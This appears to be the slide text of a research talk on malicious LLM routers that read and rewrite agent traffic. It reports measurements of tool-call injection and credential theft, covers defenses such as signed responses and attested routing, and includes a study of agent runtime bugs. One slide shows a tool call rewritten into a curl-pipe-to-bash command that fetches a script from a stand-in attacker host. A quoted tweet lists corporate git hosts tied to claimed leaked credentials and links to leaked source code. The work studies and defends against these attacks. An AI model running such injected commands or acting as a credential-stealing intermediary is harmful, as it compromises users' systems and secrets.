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Your Agent Is Mine

Hanzhi Liu

September 14, 2026


The Wonderful World of AI

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
the whole AI industry

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What does an LLM router do?

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
Your Agent Is Mine: Measuring Malicious Intermediary Attacks on the LLM Supply Chain



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
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What goes through a model router?



Chaofan Shou

@shouccccc

I bought a Fable dataset from one of the top Chinese LLM routers yesterday.

With just 6TB data, I can take over 7 Chinese/CIS gov entities & 19 top Chinese firms like Xiaomi, Huawei, NIO, Minimax using SSH keys, VPN configs, Aliyun keys, GitLab tokens sent to the router.

Company / Institution	Hosts	Tokens
Sangfor	git.sangfor.com	glp
NIO	gitlab.nioint.com	glp
Bilibili	git.bilibili.co	gl
Xiaomi	git.n.xiaomi.com	gl
USTC	git.ustc.edu.cn	g
Zhejiang Lab	gitlab.zhejianglab.com	g

3:00 PM · Sep 10, 2026 · 2.9M Views

223

832

7.9K

5.4K

6 TB

19 companies

7 govt. entities





Xiaomi



HUAWEI



NIO



MINIMAX



SANGFOR
深信服科技





USTC



之江实验室
ZHEJIANG LAB



6

AI中转站，面临整治“风暴”

2026年06月22日 09:56 来源：中国新闻周刊

A+ 大字体 A- 小字体

加州大学圣塔芭芭拉分校在读博士刘涵之曾为方便使用中转站，这些中转站价格实惠且触达便捷。然而在使用过程中，她发现诸多中转站的反馈结果存在问题：“有中转站宣称接入的是某个官方模型，但返回格式、错误信息、元数据都与官方接口不一致。这种现象本身不一定说明存在问题，但至少表明中间层并非完全透明的管道。”

The router can read AND rewrite

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 **COINTELEGRAPH**
The future of money



41.58 ▲ 0.16% XMR \$534.91 ▲ 3.42% BNB \$734.22 ▲ 2.48% XLM \$0.1806 ▲ 2.48% SOL \$101.78 ▲ 2.03% HYPE \$78.68 ▼ 0.89% DOGE \$0.08

 Written by [Martin Young](#) staff writer
Reviewed by [Felix Ng](#) staff editor

Researchers discover malicious AI agent routers that can steal crypto

Latest News Published Apr 12, 2026

Some LLM routers are “secretly injecting malicious tool calls and stealing creds,” warns researcher Chaofan Shou.

 **Sinisa Markovic**, Managing Editor, Help Net
Security
April 16, 2026

Share     

Command integrity breaks in the LLM routing layer

Credentials in model requests



SSH / VPN

servers and internal
networks

GitLab tokens

source code and CI
systems




Cloud keys

storage and deployed
services




Token shopping: a fictional example

**\$100?!
Too much.**




Fiona
User

\$100




Azure
Model provider


Token shopping: a fictional example



Token shopping: a fictional example




Token shopping: a fictional example




Token shopping: a fictional example



Multi-hop LLM routing



Test the service you actually bought



428 endpoints

28 paid
400 free

Paid services    *shopify* Free: public links / lists / configs

9

tool-call injection

1 paid + 8 free

17

AWS credential use
among 400 free routers



2

adaptive injection
included in the 9

Valid JSON. Different command.

Original tool call (from upstream provider):

```
{  
  "name": "Bash",  
  "arguments": {  
    "command": "curl -sSL https://get.example.com/cli.sh | bash"  
  }  
}
```

Router-modified tool call (delivered to client):

```
{  
  "name": "Bash",  
  "arguments": {  
    "command": "curl -sSL https://attacker****.sh | bash"  
  }  
}
```

Traffic through exposed relays

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2 billion

tokens


99

unique credentials

440

Codex sessions

Two TLS sessions



Four protocol checks

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Billing

provider reference



reported token count

Model

requested model family



returned model family

Reasoning

regular thinking block




signature field

Tools

offered schema





returned name + arguments



MiddleBench


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45 / 61 misses:
compared fields unchanged

359 TP · 8 FP · 61 FN

Router measurements




16,347
sessions

P1	208 / 270
P2	17 / 434
P3	55 / 218
P4	43 / 252

Can the provider sign the response?

★★★★☆



 Alibaba Cloud  智谱


We contacted Alibaba Cloud Bailian and Zhipu.
Both said they do not support provider-signed responses
because they see no near-term customer demand.

TEE: router or model serving?




An attested router

★★★★☆



Attested inference


★★★★☆



zkTLS vs. zkML


zkTLS / prove the exchange

★★★★☆



zkML / prove the computation

★★★★★



A source map exposed the client

 **Chaofan Shou** 
@shouccccc


Claude code source code has been leaked via a map file in their npm registry!

Code: [...a8527898604c1bbb12468b1581d95e.r2.dev/src.zip](https://a8527898604c1bbb12468b1581d95e.r2.dev/src.zip)

```
shou@dev claude-code % ls -alht cli.js.map
-rw-r--r--  1 shou  staff   57M Mar 31 01:16 cli.js.map
shou@dev claude-code % ls -alht src
total 2384
drwxr-xr-x  8 shou  staff   256B Mar 31 01:17 entrypoints
-rw-r--r--  1 shou  staff   785K Mar 31 01:17 main.tsx
drwxr-xr-x  55 shou  staff    1.7K Mar 31 01:17 .
drwxr-xr-x  10 shou  staff   320B Mar 31 01:17 cli
drwxr-xr-x 103 shou  staff    3.2K Mar 31 01:17 commands
drwxr-xr-x 331 shou  staff    10K Mar 31 01:17 utils
drwxr-xr-x 146 shou  staff    4.6K Mar 31 01:17 components
-rw-r--r--  1 shou  staff    46K Mar 31 01:17 QueryEngine.ts
-rw-r--r--  1 shou  staff    28K Mar 31 01:17 setup.ts
drwxr-xr-x  5 shou  staff   160B Mar 31 01:17 server
drwxr-xr-x 13 shou  staff   416B Mar 31 01:17 migrations
```

1:23 AM · Mar 31, 2026 · **35.9M** Views

3.3K 7.4K 48K 41K





Anthropic leaks part of Claude Code's internal source code

PUBLISHED TUE, MAR 31 2026•4:56 PM EDT



Ashley Capoot
[@/IN/ASHLEY-CAPOOT/](#)

SHARE



Mar 31, 2026 - Business

Anthropic leaked 500,000 lines of its own source code




Madison Mills


The token bill comes due: Inside the industry scramble to manage AI's runaway costs

Rebecca Bellan — 7:49 AM PDT · June 5, 2026

87 tasks. A 90-minute loop.



87 tasks



\$1,382.59

Reported cost.
Fully refunded.




Agent runtime failures




(P1) Latency / hang

Cline #3274




(P2) Duplicate work

Qwen Code #4239




(P3) Tool lifecycle

Gemini CLI #731




(P4) Resource leak

OpenCode #4315




ModeLock




Runtime state and progress

Agent Interaction Graph G_T




ModeLock implementation



43 findings. All confirmed.

13 agents

18 fixed



Agent	Version	🔍(K)	Bugs	Issue IDs
Claude Code [2]	2.1.175	135	5	#67807, #67809, #67812, #67813, #68362
Codex [1]	0.141.0	94	8	#27757, #27758, #27759, #27760, #28639, #28640, #28641, #29439
Continue [30]	1.5.46	35	5	#12626, #12699, #12700, #12701, #12702
EveryCode [36]	0.6.118	3.8	4	#598, #599, #600, #601
Gemini CLI [27]	0.47.0	106	2	#28004, #28090
Goose [37]	1.37.0	50	2	#9756, #9786
Hermes Agent [38]	0.17.0	205	3	#48765, #50806, #50807
Kilo Code CLI [39]	7.3.50	25	2	#11440, #11474
Kode CLI [40]	2.2.1	5.2	3	#198, #199, #200
Qwen Code [28]	0.18.5	26	6	#5014, #5015, #5016, #5099, #5101, #5641
Zeroclaw [41]	0.1.7	32	1	#7820
Claurst [42]	0.1.5	9.9	1	#184
Claw Code Agent [43]	870c3c7	0.5	1	#42
Total			43	

Questions?

arxiv.org/abs/2604.08407